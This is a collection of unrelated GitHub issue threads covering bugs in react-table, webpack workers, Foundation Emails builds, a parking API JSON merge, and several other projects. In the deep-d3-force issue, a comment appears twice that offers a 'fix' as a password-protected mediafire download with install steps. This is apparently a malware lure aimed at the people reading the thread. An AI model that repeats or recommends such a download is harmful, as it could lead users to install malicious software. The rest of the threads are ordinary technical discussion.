Example
https://github.com/mhallsmoore/qstrader/blob/master/qstrader/portfolio_handler/portfolio_handler.py
from qstrader.order.order import SuggestedOrder
could be (using relative imports)
from ..order import SuggestedOrder

@femtotrader - If you're happy making a PR for this, I'll incorporate it over the weekend or early next week?

Please first merge https://github.com/mhallsmoore/qstrader/pull/78


[REQUEST] Flying Mobs Should be able to ignore gravity

As you may know, Any flying mobs or even Chickens, Will float into space if the gravity is to low, Or if its to high they will get pushed into the ground.
I suggest (if at all possible) having a config option that lets certain Mobs ignore gravity, (aka act as if its in normal earth gravity).
Not only would this fix the issue, It would also be useful to make certain space mobs less floaty.
If its not directly possible, Maybe there's a way to Add/remove gravity to the specific mob.
If planet has gravity of 50, then The mob could get 50 extra gravity.
Not sure how this all works, i'm just doing guess work.
(Not sure why the title said bug before, but i changed it)

Fixed in 2.0.0, EntityFlying no longer has gravity affect it.


getSortedRowModel interferes with resizer

Describe the bug
When using getSortedRowModel in useReactTable with resizing, one triggers the other and an endless loop of events happens, preventing both actions and ultimately freezing.
Your minimal, reproducible example
https://0tkbm5.sse.codesandbox.io/
Steps to reproduce
Here is what I am using:
 const table = useReactTable({
        // ...
        columnResizeMode: 'onChange',
        getCoreRowModel: getCoreRowModel(),
        getSortedRowModel: getSortedRowModel(), //... removing this fixes the issue
        // ...
    })

Expected behavior
Rendering a th:
<th {...{ key: header.id, colSpan: header.colSpan, style: { width: header.getSize() } }}>
        {header.isPlaceholder ? null : (
            <div
                data-id={index}
                {...{
                    className: header.column.getCanSort()
                        ? 'cursor-pointer select-none'
                        : '',
                    onClick: header.column.getToggleSortingHandler(),
                }}
            >
                {flexRender(header.column.columnDef.header, header.getContext())}
                {{
                    asc: 'A',
                    desc: 'D',
                }[header.column.getIsSorted() as string] ?? null}
            </div>
        )}
        <div
            {...{
                onMouseDown: header.getResizeHandler(),
                onTouchStart: header.getResizeHandler(),
                className: `${styles.resizer} ${header.column.getIsResizing() ? styles.isResizing : ''}`,
                style: {
                    transform: ''
                },
            }}
        />
</th>

How often does this bug happen?
Every time
Screenshots or Videos
No response
Platform
everywhere
react-table version
v8.7.6
TypeScript version
No response
Additional context
No response
Terms & Code of Conduct

[X] I agree to follow this project's Code of Conduct
[X] I understand that if my bug cannot be reliable reproduced in a debuggable environment, it will probably not be fixed and this issue may even be closed.

Same issue

The same problem

same here

same problem v8.11.6


Combine ParkingLogix JSON Data

ParkingLogix API is returning two separate JSON object for the same parking structure. Combine the following into one object, conforming to our mobile app parking API.
Source code at: https://sourcecode.ucsd.edu/projects/WTS/repos/parking-availability/browse.
{
"location_name": "Campus Point East Structure",
"default_free": "0",
"location_address": "304 Medical Center Dr",
"timezone": "-8:00",
"data": [{
"total_spaces": "426",
"free_spaces": "91",
"level": "0",
"date_time": "2019-02-20 09:15:07  -8:00"
},
{
"total_spaces": "426",
"free_spaces": "91",
"level": "10",
"date_time": "2019-02-20 09:15:07  -8:00"
},
{
"total_spaces": "426",
"free_spaces": "91",
"date_time": "2019-02-20 09:15:07 -8:00"
}
]
}
{
"location_name": "Sports Deck (Campus Pt East Structure Roof)",
"default_free": "0",
"location_address": "304 Medical Center Dr",
"timezone": "-8:00",
"data": [{
"total_spaces": "264",
"free_spaces": "FULL",
"level": "0",
"date_time": "2019-03-19 11:07:27  -8:00"
},
{
"total_spaces": "264",
"free_spaces": "FULL",
"level": "10",
"date_time": "2019-03-19 11:07:27  -8:00"
}
],
"total_spaces": "264",
"free_spaces": "FULL",
"date_time": "2019-03-19 11:07:27 -8:00"
}

completed in 83dd4b9b042

I'm unable to move forward with testing. Let's get together to discuss

One issue found and corrected in ca690aa
ParkingAvailabilityRouter v4 alias has been created and deployed to the CampusParkingService API v1.1 in QA
Tests passing on device. Ready for final review and deployment.

Deployed and verified on Prod, thanks @a6wu


Webpack 5 multiple web workers with shared chunks failing to load

Bug report

What is the current behavior?
Multiple web workers within webpack are unable to load shared chunks from the correct url due to the workers self.location being different than the window.location of the original page
If the current behavior is a bug, please provide the steps to reproduce.
I have created a demo project to reproduce the issue here: https://github.com/ItsOnlyBinary/webpack-issue
please see the README.md for how to start the demo

What is the expected behavior?
Webpack should be able to detect its relative url for the shared chunks within the web workers so they are loaded from the correct url.

Other relevant information:
webpack version:  5.44.0
Node.js version: v12.16.3
Operating System: Windows
Additional tools:

You have wrong publicPath due local server, please use  publicPath: 'auto',, empty publicPath is invalid in most of cases, we strongly recommend to use auto value if you need relative URLs

@alexander-akait we have same problem, when use publicPath: './'. we have been troubled by this problem for a long time.

@qingwufong What is webpack version?

@qingwufong What is webpack version?

<EMAIL_ADDRESS>,   It seems that upgrading to the latest version of webpack is still not working，is need set the HtmlWebpackPlugin and  plublicPath , and how？

@qingwufong What is webpack version?

<EMAIL_ADDRESS>,   It seems that upgrading to the latest version of webpack is still not working，is need set the HtmlWebpackPlugin and  plublicPath , and how？

Please provide example how we can reproduce, I think you have publicPath option for HtmlWebpackPlugin

Please provide example how we can reproduce, I think you have publicPath option for HtmlWebpackPlugin
We found that the version of webpack after 5.31 have this problem, but 5.22 is OK.
and reproduce the issue here: https://github.com/qingwufong/webpack-issue

Please provide example how we can reproduce, I think you have publicPath option for HtmlWebpackPlugin

We found that the version of webpack after 5.31 have this problem, but 5.22 is OK.
and reproduce the issue here: https://github.com/qingwufong/webpack-issue

You have wrong publicPath, please use publicPath: 'auto', (I strongly recommend to use, also you will have relative URLs), why it happens, because we use importScripts, in dist/static/js/worker-1.js (in other worker too), so you have importScripts("./static/js/vendors-node_modules_lodash_lodash_js.js"), and you have ./static/js/static/js/vendors-node_modules_lodash_lodash_js.js


Latest node.js version breaks system?

How can we reproduce this bug?
Use the "n" node version manager to upgrade to version 7.4.x. Try to run standard "foundation build" command for a project. It will generate errors and fail back to command line.
What did you expect to happen?
I expected the "foundation build" command to run normally and stay in watch mode.
What happened instead?
[08:08:40] Error: Node Sass does not yet support your current environment: OS X 64-bit with Unsupported runtime (51)
For more information on which environments are supported please see:
https://github.com/sass/node-sass/releases/tag/v3.10.1
    at Object.<anonymous> (/Users/10189653/email-work/campaigns/node_modules/gulp-sass/node_modules/node-sass/lib/index.js:13:11)

I was able to get things working again by rolling node.js back to version 6.9.5.
What email clients does this happen in?
-- no email client related.

I'm rolled back Node Js to 6.9.5 version, but it still doesn't work..
`

gulp --production

[02:29:18] Requiring external module babel-register
[02:30:10] Using gulpfile D:\MyProjects\BF\BF17\e-mail17\gulpfile.babel.js
[02:30:10] Starting 'default'...
[02:30:10] Starting 'build'...
[02:30:10] Starting 'clean'...
[02:30:10] Finished 'clean' after 149 ms
[02:30:10] Starting 'pages'...
[02:30:23] Finished 'pages' after 13 s
[02:30:23] Starting 'sass'...
SetProcessDpiAwareness failed: "COM error 0x80070005  (Unknown error 0x0ffffffff80070005)"
[02:30:52] 'sass' errored after 29 s
[02:30:52] Error in plugin 'gulp-uncss'
Message:
SetProcessDpiAwareness failed: "COM error 0x80070005  (Unknown error 0x0ffffffff80070005)"
Details:
domainEmitter: [object Object]
domain: [object Object]
domainThrown: false
[02:30:52] 'build' errored after 42 s
[02:30:52] 'default' errored after 42 s
npm ERR! Windows_NT 10.0.14393
npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Users\rapma\AppData\Roaming\npm\node_modules\npm\bin\npm-cli.js" "run" "build"
npm ERR! node v6.9.5
npm ERR! npm  v4.2.0
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR<EMAIL_ADDRESS>build: gulp --production
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>build script 'gulp --production'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the foundation-emails-template package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     gulp --production
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs foundation-emails-template
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls foundation-emails-template
npm ERR! There is likely additional logging output above.
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\rapma\AppData\Roaming\npm-cache_logs\2017-02-13T19_30_52_421Z-debug.log
`

@rapman I'm on OSX, so I'm not sure what version you'll need to roll back to on Windows. Also, I'm not sure if the error you are getting is specifically the node version, as I got a specific error about this on my install. That said, your install does seem to be failing when the sass stuff gets processed.

Also, 3 days ago evrything been working great. But yeaterday i found that error. It's not only me https://github.com/zurb/foundation-emails/issues/704

@rapman Interesting. You were also on a Node version much further back than the one I was using. For the COM error you are getting, I'm wondering if it's a Node version issue afterall. You tried reinstalling the foundation-cli?

I deleted  (using "npm uninstall foundation-cli"), and installed  foundation again - unfortunatelly, it doesn't help... Same error.
I'm allready missing about correct-bulding time..

Deafault commands "gulp", "gulp build" and other - working correctly.

@rapman When you run the Gulp commands (specifically gulp build) are you getting through the inlining process?

Yes, it is. Actually, a have to use http://foundation.zurb.com/emails/inliner.html , for compliting my projects.
It's very inconvenient, but as you know my "build" function doesn't work any more... (
Here, my 'gulp build':
[05:21:27] Requiring external module babel-register [05:21:47] Using gulpfile D:\MyProjects\BF\BF10\e-mail10\gulpfile.babel.js [05:21:47] Starting 'build'... [05:21:47] Starting 'clean'... [05:21:47] Finished 'clean' after 54 ms [05:21:47] Starting 'pages'... [05:21:52] Finished 'pages' after 4.76 s [05:21:52] Starting 'sass'... [05:22:06] Finished 'sass' after 14 s [05:22:06] Starting 'images'... [05:22:10] gulp-imagemin: Minified 3 images (saved 40.84 kB - 16.3%) [05:22:10] Finished 'images' after 4.34 s [05:22:10] Starting 'inline'... [05:22:20] Finished 'inline' after 9.62 s [05:22:20] Finished 'build' after 32 s

When I've run into weird issues like this, I create a fresh foundation-cli project, copy in my src directory, and try again. It's almost a process of elimination to get the root of the problem.
Also, do you use VirtualBox or Docker? Perhaps this isn't something with the foundation setup, but rather the node version or config on the Windows machine. Sorry I can't be more helpful here...

No virtual box, Docker or something.. Clean Windows 10+gulp
Made new project (by command: foundation new --framework emails) - same error..
i don't know what's wrong... since the moment then evrything been working good - i'm did't change in my pc nothing. may be log file will help to understand what's wrong?
Sorry for my bad english(

Out of curiosity, create a new foundation project like you did before, but on the C: drive rather than D: drive. I'm wondering if there is an unreported permissions issue going on.

The same 'COM error 0x80070005'

I think you need to take the log file and open a new issue for this. I'm not sure what is going on, and I'm limited as to how I can help as I'mm not working from Windows. I seems like there is an underlying issue with a Windows component that at driving the COM error.

Issue is already exist. https://github.com/zurb/foundation-emails/issues/704
There the man, which have the same problem

@rapman looks like memory access error. Have you checked your event viewer logs?

This appears to be a machine specific problem rather than a general Foundation/Panini problem. I'm closing the issue.

I had updated node to latest version. After updating node-sass broke. So i did npm rebuild node-sass  It fixed the problem.


feat: adding semaphore locking for PersistedAccessTokenCache

closes #

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.tanel.tinits seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.

Managed to solve the issue by using another token supplier for the zb-client. Not using the CamundaCloudTokenProvider.


M

M

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: ff1b7488-9278-5b12-2025-9d602c113ecd
Version Independent ID: dbe2cb00-7ab7-5c58-e902-234f0f3ae39c
Content: Connect to Google Analytics with Power BI - Power BI
Content Source: powerbi-docs/service-connect-to-google-analytics.md
Service: powerbi
GitHub Login: @SarinaJoan
Microsoft Alias: sarinas

Hi @Analytis -- I"m not sure what you're looking for. Can you elaborate? Thanks!


Appstudio update test-component-pac-jdiw

Pipelines as Code configuration proposal
To start the PipelineRun, add a new comment with content /ok-to-test
For more detailed information about running a PipelineRun, please refer to Pipelines as Code documentation Running the PipelineRun
To customize the proposed PipelineRuns after merge, please refer to Build Pipeline customization

Pipelines as Code CI/test-component-pac-jdiw-on-pull-request has successfully validated your commit.

StatusDurationName

✅ Succeeded
6 seconds
init

✅ Succeeded
19 seconds
clone-repository

✅ Succeeded
42 seconds
build-container

✅ Succeeded
18 seconds
deprecated-base-image-check

✅ Succeeded
18 seconds
inspect-image

✅ Succeeded
34 seconds
clamav-scan

✅ Succeeded
4 minutes
clair-scan

✅ Succeeded
8 seconds
sbom-json-check

✅ Succeeded
16 seconds
label-check

✅ Succeeded
9 seconds
show-sbom

✅ Succeeded
9 seconds
show-summary

Pipelines as Code CI/test-component-pac-jdiw-on-pull-request has successfully validated your commit.


is this good to use it in an angular project?

Hello! Yes this is wonderful to use in any framework or app, including Angular. This only generates simple TypeScript types, so it will work anywhere TypeScript will.


Links spawn at strange positions in deep-d3-force layout

Describe the bug
Why are links going too far from the link that is connected with them?
Screencast from 07-11-2023 07:50:34 PM.webm
Expected Behavior
Promise links "spawn" near to the Get link
Current Behavior
Promise links "spawn" far to the Get link
To Reproduce
No response
Package Version
21fe367
Node.js Version
16.20.0
OS
Ubuntu 22.04
Additional Library Versions
No response
Additional context/Screenshots
No response

Forked from https://github.com/deep-foundation/deepcase-app/issues/191 by https://github.com/konard/gh-org-migrator

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Current status of cbor compression usage?

Hi,
I just saw the closed PR on the rosbridge repo and a comment that some work has still to be done on the webviz side.
Is this already working or not finished yet?
Because I saw this, and it looks like its already used:
https://github.com/cruise-automation/webviz/blob/e57b3a17f6caafd2d152696c220a6c24888f83e9/packages/webviz-core/src/players/RosbridgePlayer/index.js#L252

Ah no, this uses the old cbor compression, we still need to switch to cbor-raw. I haven't gotten around to it yet!

@maxlein I've written the code for this and am going through our internal review process. I'll keep you posted! Btw, I'm trying to get to know our open source community better, and would love to learn more about what you use Webviz for. Could you perhaps shoot me an email at<EMAIL_ADDRESS>

This is in the latest release! #396 Thanks for the report!


Add max bump error

For the core side of https://github.com/stellar/rs-soroban-env/issues/973.

Nvm this isn't necessary. The bump is already capped at the max during validation.


Less scary transform for Join implementations, keeps type safety

Little less scary transformations here, since mem::transmute should only be used as a last resort.

bors r+


Great project! Added jq-zsh-plugin support!

Just wanted to say I'm fascinated by how great the jq compatibility (and the performance) of this project is!
I've put support for gojq into my https://github.com/reegnz/jq-zsh-plugin as I think it's a great (almost) drop-in replacement of jq.
Thank you for your work and keep it up!

Thank you!